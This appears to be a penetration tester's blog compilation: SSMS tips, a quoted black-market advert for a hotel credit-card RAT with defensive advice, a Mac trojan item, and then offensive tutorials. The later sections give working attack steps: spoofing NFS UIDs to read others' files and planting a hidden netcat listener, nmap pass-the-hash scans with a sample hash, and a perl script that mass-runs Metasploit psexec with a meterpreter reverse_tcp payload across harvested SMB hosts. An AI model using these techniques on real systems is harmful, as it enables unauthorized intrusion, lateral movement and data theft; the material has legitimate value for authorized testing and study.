SQL Server Management Studio Tips

How do I indicate a different port number when connecting to the server using SQL management Studio?

127.0.0.1,6283 add a comma between the ip and port

How do I Connect To A Database Using Windows Authentication With Different Credentials Using SQL Server Management Studio?

runas /netonly /user:domain\name "C:\Program Files\Microsoft SQL Server\100\Tools\Binn\VSShell\Common7\IDE\Ssms.exe"

Hotel Front Desk Systems Targeted with Malware

Recent reports highlight the growing threat of malware specialization. Rather than taking a shotgun approach, malware designers are targeting specific situations for greatest impact. Web Browser security developer Trusteer found an advertisement on a black market forum for a custom malware designed to infect hotel front desk computers and steal customer credit cards.

Hello all, I’m offering Hotel RATs. In other words: A virtual skimmer.

Benefits of a Hotel (Remote Access Trojan Connection) is an infected front desk computers on which the hotel has its software that reads the number on the cc and spits out the information on the screen and it’s keyloggable if you keylog every stroke. 

I’m offering this method for $280, guaranteed US/Canada/UK connections and a method on how to obtain them on your own. From showing you how to setup your RAT (which includes a free crypt – fully undetectable to all Antiviruses) along with selling you the tutorial on how to Social Engineer/Manipulate the front desk manager on the phone via VoIP. 

I can prove my legitimacy and the accuracy of this method. PM me if you are interested.

http://www.trusteer.com/blog/no-reservations-%E2%80%93-remote-access-trojan-pilfers-credit-cards-hotels

My view:

Much has been made of the author's claim to be able to bypass all Anti-viruses, as if this was a new and alarming chapter in the ongoing cyberwar. Truth is,  bypassing AV isn't new or particularly difficult. PSC regularly makes use of the ability to bypass all modern AV engines in the course of our pen tests. Anti-virus and malware detection should be considered only one part of a multi-layered approach to system hardening and protection.

Ideally, Point of Sale (POS) systems should be dedicated, with no additional functionality. It's critical to reduce the attack surface and adding web browsing, email, and other software only increases the number of vectors and risk to customer data. If it's critical for the systems to have multiple uses, consider using the following controls to limit your exposure:

Application Whitelisting, such as with Bit9's Parity (http://www.bit9.com/products/index.php), will limit what software can execute on the POS systems. If web browsing is critical, the Browser Sandboxing/Virtualization from Vendors such as invincea (http://www.invincea.com/the-comprehensive-solution/) or Trusteer (http://www.trusteer.com/product/trusteer-rapport) can prevent malware from executing at the operating system level. Finally, Full Disk Encryption is a necessary to prevent local users from disabling the other controls put in place. McAfee Endpoint Protection (http://www.mcafee.com/us/products/data-protection/endpoint-encryption.aspx) for the Enterprise or TrueCrypt (http://www.truecrypt.org/docs/?s=system-encryption) for smaller environments are possible solutions.

The final, and perhaps the most critical security control, is User Education. The malware author makes a point to sell a tutorial on social engineering, because without it his software is useless. Malware takes advantage of a user's inattention and lack of education. Properly train your end-users to be suspicious and require verification from whom they're receiving emails and files.

Apple OSX is finally encroaching on well established Windows territory: Viruses

Hot on the heels of Flashback, reports are circulating of another Mac-specific trojan. The new Trojan, called ‘Backdoor.OSX.SabPub.a’ uses a similar Java exploit as Flashback to infect the Mac computers via Microsoft Office docs. This new threat is a custom OS X backdoor, that once activated, connects to a remote website in command and control fashion to fetch instructions. The backdoor contains functionality to make screenshots of the user’s current session, download files and execute commands on the infected machine.

http://www.securelist.com/en/blog/208193470/New_Version_of_OSX_SabPub_Confirmed_Mac_APT_attacks

IMHO

Mac users have enjoyed a prolonged period of relative safety, but as the Cupertino operating system gains traction in the workplace, hackers begin to see it as a viable alternative to hacking Windows. However, the last few established attacks have taken advantage of ancillary software, such as Java, Adobe Reader and Microsoft Office, not the base OS. This means that in addition to operating system patches, all other applications should be included in your regular patching cycle. Products like Secunia's Corporate Software Inspector (http://secunia.com/vulnerability_scanning/) and VMWare's System Center Configuration Manager (http://shavlik.com/start-now.aspx) support, Windows, Linux and OSX and provide patch management for all installed software.

Adding anti-virus to a Mac has been historically an unneeded processor overhead but is now a necessity. Standalone products like Avast! (http://www.avast.com/free-antivirus-mac) and ClamxAV (http://www.clamxav.com/) are good solutions for small offices and home users, but lack the tracking and reporting capabilities necessary for the Enterprise. McAfee Virus Scan for Mac (http://www.mcafee.com/us/products/virusscan-for-mac.asp) integrates into their System Center Configuration Manager McAfee ePolicy Orchestrator (ePO) platform for full accountability and risk management. The Symantec AntiVirus for Macintosh Corporate Edition has similar capabilities.

In summary, Apple OSX has grabbed a greater share of both the corporate and hacking worlds and must now be fully integrated into your Patch Management policies and procedures. 

Exploiting Network File System (NFS) shares

Clients with old Sun/unix boxes routinely have NFS shares that nobody thinks about. Next time you’re on an internal, keep this in mind:

NFS on a system can be determined if port 2049 is open, and while this is a good indication, it doesn't actually prove any folders are being offered.  A good way to determine this is to issue the command:

showmount -e IP_Address

Hopefully the results will look something like this:

root@attacker]# showmount -e 192.168.0.1
Export list for 192.168.0.1:
/export/home/  (everyone)
/export/mnt/   (everyone)
/export/share/ (everyone)

In the example above you see /export/home is open giving a good indication that possibly profiles or home directories are stored in this directory.  If this is the case a couple of in-built pieces of security exists on the system, they are; file permissions and the use of the sticky bit i.e. only that user can interact with their own files.

To mount an NFS share use the following after first creating a directory on your local machine:

[root@attacker~]#mount -t nfs 192.168.0.1:/export/home /local_dir

Hopefully is this goes well if you change directory to /local_dir you can see all sub directories on the remote machine in /export/home.

You ask now, how do you circumvent file permissions and the use of the sticky bit, this is done with a little prior planning and slight of hand to confuse the remote machine.

If we have a /export/home/dave directory that we have gone into, we will see a number of files belonging to dave, some or all of which you may be able to read.  The one thing the system will give you is the owners UID on the remote system after issuing an ls -al command i.e.  

-rwxr----- 517 wheel 898 daves_secret_doc 

The permissions at the moment do not let you do anything with the file as you are not the owner (yet) and not a member of the group wheel.

Move away from the mount point and unmount the share

umount /local_dir

create a user called dave

useradd dave

passwd dave

Edit /etc/passwd and change the UID to 517

Remount the share as local root

Go into daves directory

cd dave

issue the command

su dave

As you are local root you can do this and as you have an account called dave you will not need a password

Now the quirky stuff - As the UID for your local account dave matches the username and UID of the remote, the remote system now thinks your his dave, hey presto you can now do whatever you want with daves_secret_doc.

As an extension to this you can amend daves scripts etc. to run commands, tftp stuff onto the box and do basically whatever you please.  The best thing to do obviously is to drop a hidden netcat listener into daves directory and get it to open a port and once again you can then get that infamous interactive shell on the remote box.  NEAT!!

(Reposted from http://www.vulnerabilityassessment.co.uk/nfs.htm)

Quick list of Nmap & cut commands

NMap is a powerful tool but can be a bit of a pain when all I need is to get a clean list of live IP addresses. Here is a list of my go-to scripts for narrowing down all possible targets into a list I can pass into Nessus:

Ping a subnet:
nmap -n -sP 172.16.0.0/16 -oG - | cut -d' ' -f2,4 | cut -d' ' -f1 | grep ^[0-9] >> 172.16.txt

From a target list:
nmap -n -sP -iL HQWorkstations.txt -oG - | cut -d' ' -f2,4 | cut -d' ' -f1 | grep ^[0-9] >> HQWork.txt

For a specific port or ports:
nmap -p445 -Pn 192.168.1.1/24 -oG - | grep 445/open | cut -d' ' -f2 >> smb.txt

Get a number of live systems when using -Pn

cat FileName.gnmap | grep "Status: Up" | cut -d' ' -f2 | wc -l

NMap & Pass-the-Hash

Let's speed up pwning the Enterprise another notch. In this scenario, we've obtained an account hash through a Man-in-the-Middle attack using, say, Easy-Creds. In my prior blog posts I showed how to automate a psexec attack across an entire IP range or list. But if the credentials aren't valid on all the targets it can take time to go through the entire range/list, waiting for the authentication to fail, the module to timeout and the 2 second sleep. There has to be a better way and there is.

Nmap supports the use of password hashes:

nmap -n -sT -p445 --script=smb-enum-shares.nse -script-args=smbuser=USER,smbhash=e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c,smbtype=v1,smbdomain=DOMAIN  -oN SMB-User.txt 10.110.10.1/24 --open -vv

HINT: To test using the local user password hashes, use "smbdomain=."

For further information:

(Look at smbtype)

http://nmap.org/nsedoc/lib/smbauth.html

A Faster psexec Attack

So, I got some pretty harsh feedback from my first blog post. "You really suck at scripting", they said. "You're a script-kiddie's script-kiddie!", they yelled. "What if I wanted to pass a list of IPs, smart boy? How would you do that?" I tried not to get defensive and replied, "Jeez Mom, relax, I'll come up a solution."

I've been using a perl script that lets me pass-the-hash against all IPs in a subnet range but I updated it to set the rhosts from a file instead. That way once I get a hash I want to try, I can nmap the environment and collect targets with just SMB ports to pass to the attack.

Start by pulling together the targets using nmap and the unix cut command:

nmap -p445 -Pn 192.168.1.1/24 -oG - | grep 445/open | cut -d' ' -f2 >> smb.txt

Then create the perl file that can be compiled into an MSF resource file.

----------------------------------------------------------------------

#!/usr/bin/perl -w

use strict;

my $input_file="smb.txt";

print "use windows/smb/psexec\n";

print "set SMBUser NAME\n";

print "set SMBPass HASH\n";

print "set PAYLOAD windows/meterpreter/reverse_tcp\n";

print "set LHOST XXX.XXX.XXX.XXX\n";

print "set LPORT 4444\n";

 open(IN, $input_file) or die "$input_file\n";

    while(<IN>) {

        chomp;

        print "set RHOST $_\n";

        print "exploit\n";

        print "sleep 2\n";

}

For further information:

http://en.wikipedia.org/wiki/Cut_%28Unix%29

http://josephpierini.blogspot.com/2011/09/automating-hack-from-exploit-to-domain.html